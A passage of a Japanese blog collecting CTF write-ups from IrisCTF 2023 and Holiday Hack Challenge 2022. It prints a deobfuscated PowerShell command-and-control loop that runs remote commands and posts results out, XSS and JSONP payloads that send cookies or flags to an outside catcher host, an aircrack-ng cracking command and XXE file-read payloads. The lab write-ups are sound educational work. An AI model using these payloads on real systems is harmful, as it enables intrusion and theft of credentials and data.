QD2R7E32JL7jvC6oDsG7xUXnOOFeFN520gOpj43kLfoh6fqpzvUgHJuzDplfUXwMnjf7pDuIe2v13159wFo82Yl3K+nVNP/rVA991jWsZyf798/6Nulj9QvgE/ZXe+Ep7NyAT/fq+9eaR25VH152dxmfczwH1UlQHzsQB3Nck59Un436HM4HQ9ZtKd88+pWke2PWL4gX53/7y1xOfRl55CT8KISXZY4L86LIfdOqUj/nchy85ivQ4fRbwtmz8ruQnQ+awyyoF6nrqUe2ec6Y5lBR/X2UbmOe7fOcK/VZreZQjfAKc5yV8AH8of5fPL/R3NZrjgZ9ST5J9Us+0X3ocxnPnew7ZF6v0/mkvxlvzctz/zSo39/neqJOmRPHiG9RfR37+qj7tuQDztlTfZ40x35kP8hP+jdov22eF2FeT/0zV97txH+pnoQL1CP0c5/nBHHIfFRc+spefbbnXIU8duRcgvodcwzixkJ8cpYd0r3ST+qDN7mPIc8TN9T/PpvHoz9i/3FQPh+VPwV5RnN81SV0PefoC8aV+N8mXRCk27Kezf37iTzAekLfmvto4PMD38dQz7E/69R/+jwX5/uhqD4s6aE+zyk573SyK83ZvOYPfdZRXroJPAQcpp7wmlNmfhiYt3wfspXersQnXnyQdNhaeS68Z/4e9Z5p0Fww4cxBfftJeDRXfzzT/Hsh/VTqfVGR++466RDHfOe84JT5mPPws+KkvlfvgRJ+Sr+k9yJ5TjVwbtmqr2kvPEI94ajTmnwO8gHrLuFGld9feeUp8Te9H/Lqj6Qras3f0vuAzIfhOa9f+nf0QawzxsOpv5e/s+6K7B/T+x3gFHUy+SVoXrlWvqY+PkiHVuoL0vNbzX8j51a1v+SF5je5P1D828t7ryLrilrnAt/xPI3el1BveuHIWnM0zOV37FfzfD+9X0t1+sA5i95X5vkleSZq/uT1HiDhYdOrHxmIm43qfHOZm6V59Fk485cXV3+++/L03+rj3ffN60/33R9f7z/dfdw19dXr/dViMSmK2aRYvJ2Ui/lkUUxu55PiZrw6s//m5aQsr8efbyfXs8nNpJiPv96Ov44fs9vJ+FcWN5Px4fG/4u3byfV0/CjHW8rJzdwWKKfjDzfjlel0cjt79epNff/96f5u+PLx7+++Vqvq6W7tHl++evO7+/TtH18+rq7+fHP18uqHD9/ef/HVL2Xx648//P7t/eZw/8ts/uuPL44vXv0P' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend( )})"

頑張って難読化解除すると

$bwqvRnHz99 = (104,116,116,112,115,58,47,47,112,97,115,116,101);
$bwqvRnHz99 += (98,105,110,46,99,111,109,47,104,86,67,69,85,75,49,66);
$flag = [System.Text.Encoding]::ASCII.GetString($bwqvRnHz99);
$s='172.21.20.96:8080';
$i='eef8efac-321d465e-e9d053a7';
$p='http://';
$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/eef8efac -Headers @{"X-680d-47e8"=$i};
while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/321d465e -Headers @{"X-680d-47e8"=$i}).Content;
if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;
$r=Out-String -InputObject $r;
$t=Invoke-WebRequest -Uri $p$s/e9d053a7 -Method POST -Headers @{"X-680d-47e8"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

のような感じになり、$flagにpastebinのURLが入っているので、アクセスするとフラグが書いてある。

IrisCTF 2023 Writeups

[web] babycsrf

jsonpでフラグが落ちてくるendpointがあるので、その中身を回収するようなxssサイトを書いてやる。
提供コードを参考にして、以下のように書く。
https://babycsrf-web.chal.irisc.tf/apiを取得するときは、オリジンはbabycsrfのものになるので適切なCookieが使用される。
(俗にいう3rd party cookie
jsonpで読み込めば、オリジンをまたいでデータを参照可能なので、あとは適当に外部送信してやればいい。

<!DOCTYPE html>
<html>
    <body>
        <script>
window.setMessage = (m) => {
    window.location.href='https://[yours].requestcatcher.com/test?get='+m;
}
window.onload = () => {
    s = document.createElement("script");
    s.src = "https://babycsrf-web.chal.irisc.tf/api";
    document.body.appendChild(s);
}
        </script>
    </body>
</html>

[web] babystrechy

https://www.php.net/manual/en/function.password-hash.php
PASSWORD_BCRYPTをアルゴリズムとして 使用すると、passwordパラメーターが最大長の 72 バイトに切り捨てられます。

これは使えそう。
hexの各文字が64倍にされているが、先頭の72文字しか使われていないので、[1文字目]*64+[2文字目]*8のような構成になっている。
1文字目と2文字目は[0-9a-f]なので、全探索が可能。
しかも複数個送れるので以下のようにして全通りを辞書として作って一気に送ってやればいい。

<?php
$chars = "0123456789abcdef";
for ($i=0; $i<16; $i++) {
    for ($j=0; $j<16; $j++) {
        $pass = str_repeat($chars[$i],64) . str_repeat($chars[$j], 8);
        echo $pass . "\n";
    }
}

全部一気に送り付けるとフラグが出てくる。

[web] Feeling Tagged

BeautifulSoupを使ってサニタイズ機能を実装している。
適当にbypassできそうなコードを探して試すとたまたま通った。

<![CDATA["><script>alert("XSS")</script><!--]]>

あとはXSSするだけ。
fetch(https://[yours].requestcatcher.com/test${document.cookie});
をalertの代わりに入れて、/page?のアドレスを踏ませればフラグが得られる。

[network] babyshark

とりあえずプロトコル階層を出してみるとCompuserve GIFというのがあるので、エキスパート解析でHTTPを選んでみる。
babyshark.gifという画像があるので、取り出してみてみるとフラグが書いてある。
サメちゃんが踊っている。

[network] wi-the-fi

aircrackしてみるとパスワードが手に入る
aircrack-ng -w /usr/share/wordlists/rockyou.txt ./BobertsonNet.cap

      Time left: 23 minutes, 7 seconds                           0.13%

                           KEY FOUND! [ billybob1 ]

これを以下にあるような感じで設定に入れると通信が復号化される。
https://anilcelik.medium.com/en-defcon-27-advanced-wireless-exploitation-workshop-ctf-write-up-f787b0899256

この状態でプロトコル階層統計を見ると、いろいろ通信がわかるようになる。
TCPで流れているものを漁っていくと、20422番目のパケットにフラグがあった。

[forensics] babyforens

画像から以下の情報を抜き出して、
irisctf{latitude_longitude_epochtime_serial_secret}
の形で答える必要がある。

緯度経度

exiftoolでの出力を変換すればいい。

GPS Latitude                    : 37 deg 44' 49.46" N
GPS Longitude                   : 119 deg 35' 46.77" W

37.74707222
-119.59632500
っぽいので、

37.74_-119.59

epochtime

作成時間を変換すればいいのかな?exiftoolで同様にみられる。

Create Date                     : 2022:08:27 10:04:56

撮影場所はアメリカのカリフォルニアであることもexiftoolから分かる。
ここは検索するとGMT-8らしい。
つまり、2022:08:27 10:04:56 (GMT-8)
なので、UTCに直すには+8時間してやる必要がある。
つまり、2022:08:27 18:04:56 (GMT+0)
これをepochtimeにすると、1661623496だが、ダメ。うーん。

もしかして時期的にサマータイム????

さらに-1時間したら正解だった。
つまり、2022:08:27 17:04:56 (GMT+0)をepochtimeにした1661619896が正解。

serial

これもexiftoolで見る。

$ exiftool IMG_0917.jpg | grep Serial
Internal Serial Number          : RL2218903
Serial Number                   : 392075057288
Lens Serial Number              : 0000000000

いくつかあるが、Serial Numberが答え。

secret

secret???
問題文を見るとわざとファイルを壊してあるらしい。
普通のjpgをバイナリエディタを使って比較してみると、先頭が一部0埋めされていた。
先頭10バイトをFF D8 FF E0 00 10 4A 46 49 46のように戻してやると普通にみられるようになる。
secretの内容が書いてあった。
exif_data_can_leak_a_lot_of_info

フィナーレへ - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [8/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

フィナーレへ

5つのリングが揃ったので城の前に戻ろう。

ドアが開いている!

中に入るとたくさんの人がいた。
色々話しかけると、クリア者だけのspecial swagが用意されているとのこと。

サンタに話しかけると、クリア!
Golden Ringを復元したみたいです。

感動のエンドロールが始まる。
準備してくれた方ありがとう。
素敵な12月になりました。

映画館でも最後まで残っている派なので、ちゃんと最後まで見ます。

完成したStory

ストーリーが完成していました。

Five Rings for the Christmas king immersed in cold

Each Ring now missing from its zone

The first with bread kindly given, not sold

Another to find 'ere pipelines get owned

One beneath a fountain where water flowed

Into clouds Grinchum had the fourth thrown

The fifth on blockchains where shadows be bold

One hunt to seek them all, five quests to find them

One player to bring them all, and Santa Claus to bind them

…伝説になりますね。

最後に

全然アバターを変更してなかったので、好きなものに変更してみる。
最後に気に入ったキャラクターと記念撮影して、終わり。
とても楽しかった!

初めて完走して解説提出もしましたが、毎回解説を出されているkusuwadaさんとか凄いですね…
結構パワー使うイベントでした。
来年も余力があれば…

Recover the Burning Ring of Fire - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [7/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Burning Ring of Fire

Buy a Hat

Difficulty: ★★
Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels.

帽子が買える自動販売機で1つ買えばクリア。
書かれている通りにやればいい。
財布のアドレスを忘れた場合は、最初のステージOrientationに戻ればよく、秘密鍵を忘れた場合は、前述した隠し部屋に行けばわかる。

Blockchain Divination

Difficulty: ★★★★
Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain.
At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels.

依然見つけた隠し宝箱にヒントがある。

Find a transaction in the blockchain where someone sent or received KringleCoin! The Solidity Source File is listed as KringleCoin.sol. Tom's Talk might be helpful!

Blockchain Explorerを起動して、Block#1を見てみるとスマートコントラクトを作成している。
この時のアドレスがそのまま答え。
Contract Address: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554

Exploit a Smart Contract

Difficulty: ★★★★★
Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.

スマートコントラクトをクラックしてNFTを買う問題。
横の端末から買うことができ、値段が100 KringleCoin (KC)。
値段的には買えるのだが、Proof Valuesを適切に設定する必要がある。
適切なProof Valuesが見つかったら、
0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3aに100KCを送金して戻って来るだけ。

ヒントは多分これ。

Hint: You're going to need a Merkle Tree of your own. Math is hard. Professor Petabyte can help you out. https://decentralizedthoughts.github.io/2020-12-22-what-is-a-merkle-tree/

Blockchain Explorerを見ると#2でNFT用のスマートコントラクトが登録されている。
検証をしている所を見ると、以下が怪しい。

    function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
        bytes32 computedHash = leaf;
        for (uint i = 0; i < proof.length; i++) {
          bytes32 proofElement = proof[i];
          if (computedHash <= proofElement) {
            computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
          } else {
            computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
          }
        }
        return computedHash == _root;
    }
    
    function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public virtual {
        bool _preSaleIsActive = preSaleIsActive;
        require(_preSaleIsActive, "Presale is not currently active.");
        bytes32 leaf = keccak256(abi.encodePacked(to));
        require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!");
        _mint(to, _tokenIdTracker.current());
        _tokenIdTracker.increment();        
    }

コードを読むとマークルツリーの計算そのものをしている。
最初はtoのkeccak256を葉として、proofを順番にくっつけて同様にハッシュを取っている。
最終的に
rootと一致すればOK.

Blockchain Explorerを巡回すると#118, #76293で成功しているのが見つかり、以下のような感じになっていた。

#118
function: presale_mint(address,bytes32,bytes32[])
parameters: {'to': '0xa1861E96DeF10987E1793c8f77E811032069f8E9', '_root': b'\xc4t\x1e\x81\x06[\xff\x02v.\xd3\xce\x06ncY\xc1\xf4ae\x18\xe06\x99\xc8\x882\xef\x84\x91p\x14', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']}

#76293
function: presale_mint(address,bytes32,bytes32[])
parameters: {'to': '0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE', '_root': b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']}

見ると、_proofが同じ値になっている。
入力するProof Valuesは_rootの値になっているのではないか?
toは自分のものを使って_proofは固定なので、計算方法もわかっているので_rootが計算できる。
76293の例で以下のように試すといい感じ。

from Crypto.Hash import keccak
from Crypto.Util.number import *

to = 0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE
to = long_to_bytes(to)
_proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*'
_root = b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$'

leaf = keccak.new(data=to, digest_bits=256).digest()
res = keccak.new(data=_proof+leaf, digest_bits=256).digest()
print(res)
print(_root)

で、Proof Valuesにrootを入れてみるがうまくいかない。
改めて通信を見てみると

あ、rootも送ってるじゃん!
検証に必要な要素はすべて送っているみたいなので、既知である_proofを付けて、それに合うrootを指定してやればよさそう。

from Crypto.Hash import keccak
from Crypto.Util.number import *
import binascii

to = 0x559382c264a9f431Fb35ae360b046775a79e2983
to = long_to_bytes(to)
_proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*'
print("Proof: 0x", binascii.hexlify(_proof))
leaf = keccak.new(data=to, digest_bits=256).digest()
res = keccak.new(data=_proof+leaf, digest_bits=256).digest()
print("Root: 0x", binascii.hexlify(res))

という感じで自分のアドレスからパラメタを作って、以下のように送る。

POST /cgi-bin/presale HTTP/2
Host: boredsporcrowboatsociety.com
Cookie: GCLB="03cc6f2c174c9ff7"
Content-Length: 277
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://boredsporcrowboatsociety.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=hamayanhamayan&id=aa9a889a-7556-4b12-8689-1c64161ad6aa&area=level5&location=13,15&tokens=
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

{"WalletID":"0x559382c264a9f431Fb35ae360b046775a79e2983","Root":"0xf1451325a80213aa3574a87c2212bc8d71807d145bc0f363f19a6c7eeb29d4c3","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"true","Session":"aa9a889a-7556-4b12-8689-1c64161ad6aa"}

{"Response": "You're on the list and good to go! Now... BUY A SPORC!"}
ok!

あとは、100KC支払って、先ほどのリクエストのValidateをfalseにして送りなおせばクリア!

ちなみに買ったNFTはThe Bored Sporc Rowboat SocietyのGalleryで実際に見ることができる。

傷持ちは意外とレアかもしれん。
ともあれ、リング獲得。全部揃った!

結局…

これは何だったんだろうか…
何かを見逃していそう…

 
 
 

次 -> フィナーレへ - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [8/8] - はまやんはまやんはまやん

Recover the Cloud Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [6/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Cloud Ring

すごい機械が置いてある。

AWS CLI Intro

Difficulty: ★
Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints.

横の人に話しかけるとヒントがもらえる。

Hint: In the AWS command line (CLI), the Secure Token Service or STS has one very useful function.
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-caller-identity.html

ふむ。なるほどね。コンソールを開くと、指示が来るので従っていく。

You may not know this, but AWS CLI help messages are very easy to access. First, try typing:
$ aws help

指示通り、aws helpする。

Great! When you're done, you can quit with q.

qを押して終了。

Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY,
the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 .
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config

aws configureと打って指定していく。

Excellent! To finish, please get your caller identity using the AWS command line. For more details please reference:
$ aws sts help
or reference:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/index.html

リファレンスを読むとaws sts get-caller-identityでいいみたい。
実行するとクリア。

次のチャレンジ…の前に

階段横から壁抜きができ、宝箱がある。

Difficulty: ★★
Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What's the name of the file that has AWS credentials?

コンソールの無い問題。
https://haugfactory.com/asnowball/aws_scripts.git からAWSの認証情報を抜き出すために認証情報が入ったファイルを探す。
一見、クレデンシャルは含まれていないので編集履歴を漁ってみる。
git log -p
すると、aws_secret_access_keyといった部分が見つかって過去書きこまれていたことがわかる。これが書かれているファイルのファイル名が答え。

put_policy.py

Exploitation via AWS CLI

Difficulty: ★★★
Flex some more advanced AWS CLI skills to escalate privileges! Help Gerty Snowburrow in the Cloud Ring to get hints for this challenge.

こちらも指示に従いなら解いていく。

Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git.
Configure these credentials for us-east-1 and then run:
$ aws sts get-caller-identity

repoを落としてきて中身を見るが、クレデンシャルは含まれていない。
編集履歴にないか探ってみると、ある。

$ git log -p | grep aws_access_key_id
aws_access_key_id="AKIAAIDAYRANYAHGQOHD"
$ git log -p | grep aws_secret_access_key
aws_secret_access_key="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"

aws configureで設定してaws sts get-caller-identityとすると次に進む。

Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to findall/ any policies attached to your user.
The aws iam command to list attached user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-user-policies.

色々ググるaws iam list-attached-user-policies --user-name haugで抜ける。

$ aws iam list-attached-user-policies --user-name haug
{
    "AttachedPolicies": [
        {
            "PolicyName": "TIER1_READONLY_POLICY",
            "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
        }
    ],
    "IsTruncated": false
}

Now, view or get the policy that is attached to your user.
The aws iam command to get a policy can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

aws iam get-policy --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY'で情報が抜ける。

$ aws iam get-policy --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY'
{
    "Policy": {
        "PolicyName": "TIER1_READONLY_POLICY",
        "PolicyId": "ANPAYYOROBUERT7TGKUHA",
        "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 11,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.",
        "CreateDate": "2022-06-21 22:02:30+00:00",
        "UpdateDate": "2022-06-21 22:10:29+00:00",
        "Tags": []
    }
}

ok.

Attached policies can have multiple versions. View the default version of this policy.
The aws iam command to get a policy version can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

get-policy-versionが使えそう

aws iam get-policy-version --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY' --version-id 'v1'
先ほどの出力からデフォルトバージョンはv1とあるので、それを使った。

Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user.
The aws iam command to list user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-attached-user-policies.

aws iam list-user-policies --user-name haugで抜ける。

$ aws iam list-user-policies --user-name haug
{    "PolicyNames": [
        "S3Perms"
    ],
    "IsTruncated": false
}

Now, use the AWS CLI to get the only inline policy for your user.
The aws iam command to get a user policy can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

aws iam get-user-policy --user-name haug --policy-name S3Permsでok.

$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
    "UserPolicy": {
        "UserName": "haug",
        "PolicyName": "S3Perms",
        "PolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:ListObjects"
                    ],
                    "Resource": [
                        "arn:aws:s3:::smogmachines3",
                        "arn:aws:s3:::smogmachines3/*"
                    ]
                }
            ]
        }
    },
    "IsTruncated": false
}

The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects.
List those objects!
The aws s3api command to list objects in an s3 bucket can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html

aws s3api list-objects --bucket smogmachines3でok.

The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions.
The aws lambda command to list functions can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html

aws lambda list-functionsでok.

$ aws lambda list-functions
{    "Functions": [
        {
            "FunctionName": "smogmachine_lambda",
            "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",                       db3277            "Handler": "handler.lambda_handler",
            "CodeSize": 2126,
            "Description": "",
            "Timeout": 600,
            "MemorySize": 256,
            "LastModified": "2022-09-07T19:28:23.634+0000",
            "CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [                    "subnet-8c80a9cb8b3fa5505"
                ],
                "SecurityGroupIds": [
                    "sg-b51a01f5b4711c95c"
                ],
                "VpcId": "vpc-85ea8596648f35e00"                                               Dec-22
            },
            "Environment": {
                "Variables": {
                    "LAMBDASECRET": "975ceab170d61c75",
                    "LOCALMNTPOINT": "/mnt/smogmachine_files"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e",
            "FileSystemConfigs": [
                {
                    "Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2",
                    "LocalMountPath": "/mnt/smogmachine_files"
                }
            ],
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            }
        }
    ]
}

Lambda functions can have public URLs from which they are directly accessible.
Use the AWS CLI to get the configuration containing the public URL of the Lambda function.
The aws lambda command to get the function URL config can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html

aws lambda get-function-url-config --function-name smogmachine_lambdaでok.

$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
    "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
    "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
    "AuthType": "AWS_IAM",
    "Cors": {
        "AllowCredentials": false,
        "AllowHeaders": [],
        "AllowMethods": [
            "GET",
            "POST"
        ],
        "AllowOrigins": [
            "*"
        ],
        "ExposeHeaders": [],
        "MaxAge": 0
    },
    "CreationTime": "2022-09-07T19:28:23.808713Z",
    "LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}

これでクリア。ボス問だったみたいで、リングが手に入った。かわいいリング。

最後のリング…の前に

Burning Ring Of Fireの右から進むと宝箱がある。
お金と変なhatがもらえる。

 
 
 

次 -> Recover the Burning Ring of Fire - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [7/8] - はまやんはまやんはまやん

Recover the Web Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [5/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Web Ring

Webは得意なのでサクッと解いていきたい。(フラグ)

Naughty IP

Difficulty: ★
Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines.
Most of the traffic to this site is nice, but one IP address is being naughty!
Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints.

Wiresharkの統計>終端から接続IPを確認しよう。

一番多いのはパケットを収集している端末IPなので、二番目にパケットが多いIPが怪しい。
出してみると正答。
18.222.86.32

Credential Mining

Difficulty: ★
The first attack is a brute force login. What's the first username tried?

認証情報のブルートフォースなのでPOST通信をしている所を探そう。
http.request.method == "POST"でフィルタリングすると該当箇所が見つかる。
送信データを見てみるとログインユーザーはaliceなので、これを送ると正答。

404 FTW

Difficulty: ★
The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack?

(ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && httpで眺めてみる。
するとパケット#23352くらいから404が目立ち、ディレクトリスキャニングしているようなログが見られる。

((ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && http) && (http.response.code == 200)で見ると#26774, #27716あたりで200で帰ってきている。
26771番のパケットが対応するパケットで/procが答え。

IMDS, XXE, and Other Abbreviations

Difficulty: ★★
The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

パケットを見ると確かに/procに対してXXE攻撃が見られる。
SSRFでAWSの認証情報を盗もうとしていた。
最後の攻撃で使われたURLを答えると正答。

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Open Boria Mine Door

Difficulty: ★★★
Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.

これまでの問題を終えたら、この問題へのヒントがAlabaster Snowballからたくさんもらえる。

Hint: The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript.
Understanding how Content-Security-Policy works can help with this challenge.
Developers use both client- and server-side input validation to keep out naughty input.

パズルが与えられる。ソースコードを見ると、いろいろわかるっぽいし、まじめにパズルを解く問題ではなさそうだ。

左上 PIN 1

Chromeであれば、PIN1を右クリックして、「フレームのソースを表示」してみる。
ソースコードにヒントが書いてある
<!-- @&@&&W&&W&&&& -->
なるほど。実際に@&@&&W&&W&&&&を使ってみるとクリアできた。

中上 PIN 2

同様にソースコードを見てみよう。
<!-- TODO: FILTER OUT HTML FROM USER INPUT -->

HTMLが使えるみたい。
SVGで自由に絵が描けそう。

全体を敷き詰めるような絵をかいてやればいい。
ごにょごにょやると以下でクリア。

<svg width="400" height="400">
<rect width="400" height="400" fill="white">
</svg>

右上 PIN 3

ソースコードを見ると、
<!-- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->
とあるが、同様にSVGで書いてやればいい。
色を合わせる必要があるので注意。

<svg width="200" height="170">
<rect width="200" height="170" fill="blue">
</svg>

右下 PIN4

ソースコードを見るとサニタイズするコードが追加されている。
だが、これはonblur='sanitizeInput()'とあるようにフォーカスが外れた時にしか発動しないので、
入力してEnterキーを押してやれば手軽にbypass可能。

<svg width="200" height="170">
<rect width="200" height="100" fill="white" />
<rect y="100" width="200" height="70" fill="blue" />
</svg>

中下 PIN5

ソースコードを見るとCSPが追加されている。
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
だが、PIN4と同一方針で解ける。
(非想定解で解いている気がするな…)

<svg width="200" height="170">
<rect width="200" height="170" fill="red" />
<rect x="10" y="70" width="200" height="100" fill="blue" />
</svg>

左下 PIN6

ソースコードは変わっているが、これも同一方針…
#00FF00のカラーコードってgreenじゃなくてlimeなのか。

<svg width="200" height="170">
<rect width="200" height="170" fill="red" />
<rect y="100" width="190" height="100" fill="blue" />
<rect width="200" height="50" fill="lime" />
</svg>

最終的にはこのように解ける。

これで先に進めるようになるので、進んでWeb Ringの最後の問題に挑戦しよう。
ちなみに、このオブジェの上には乗ることができる。

Glamtariel's Fountain

Difficulty: ★★★★★
Stare into Glamtariel's fountain and see if you can find the ring!
What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints.

まずは、Hal Tandybuckに話しかけてヒントをもらっておこう。

Hint: Early parts of this challenge can be solved by focusing on Glamtariel's WORDS.
Hint: Sometimes we can hit web pages with XXE when they aren't expecting it!

Burp Suiteを起動してwebサービスを色々実行してみる。

中々ファンシーな見た目。
右上に4つの物体があり、それを姫か山にドラッグアンドドロップすることでメッセージが得られる。
POST /droppedに対して以下のようなものを送信している。

{"imgDrop":"img1","who":"none","reqType":"json"}

imgDropはimg1からimg4まで、whoはnone|princess|fountainで、reqTypeはjson固定。
jsonからxmlへの変換を色々やってみたがダメ。
適当にサイトで遊んでみると、怖い画面が一瞬出てくる。

何やらコメントが意味深。
PATHというのとAPPが強調されているのも気になるが…
その後もポチポチ進めるとリングが出る画面で遷移が止まってしまう。

この状態でjsonからxmlへの変換を試すとうまくいった。
Content-Typeをapplication/xmlにして、以下のように送ると、I love rings of all colors!と受理されていそうなメッセージが帰って来る。

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
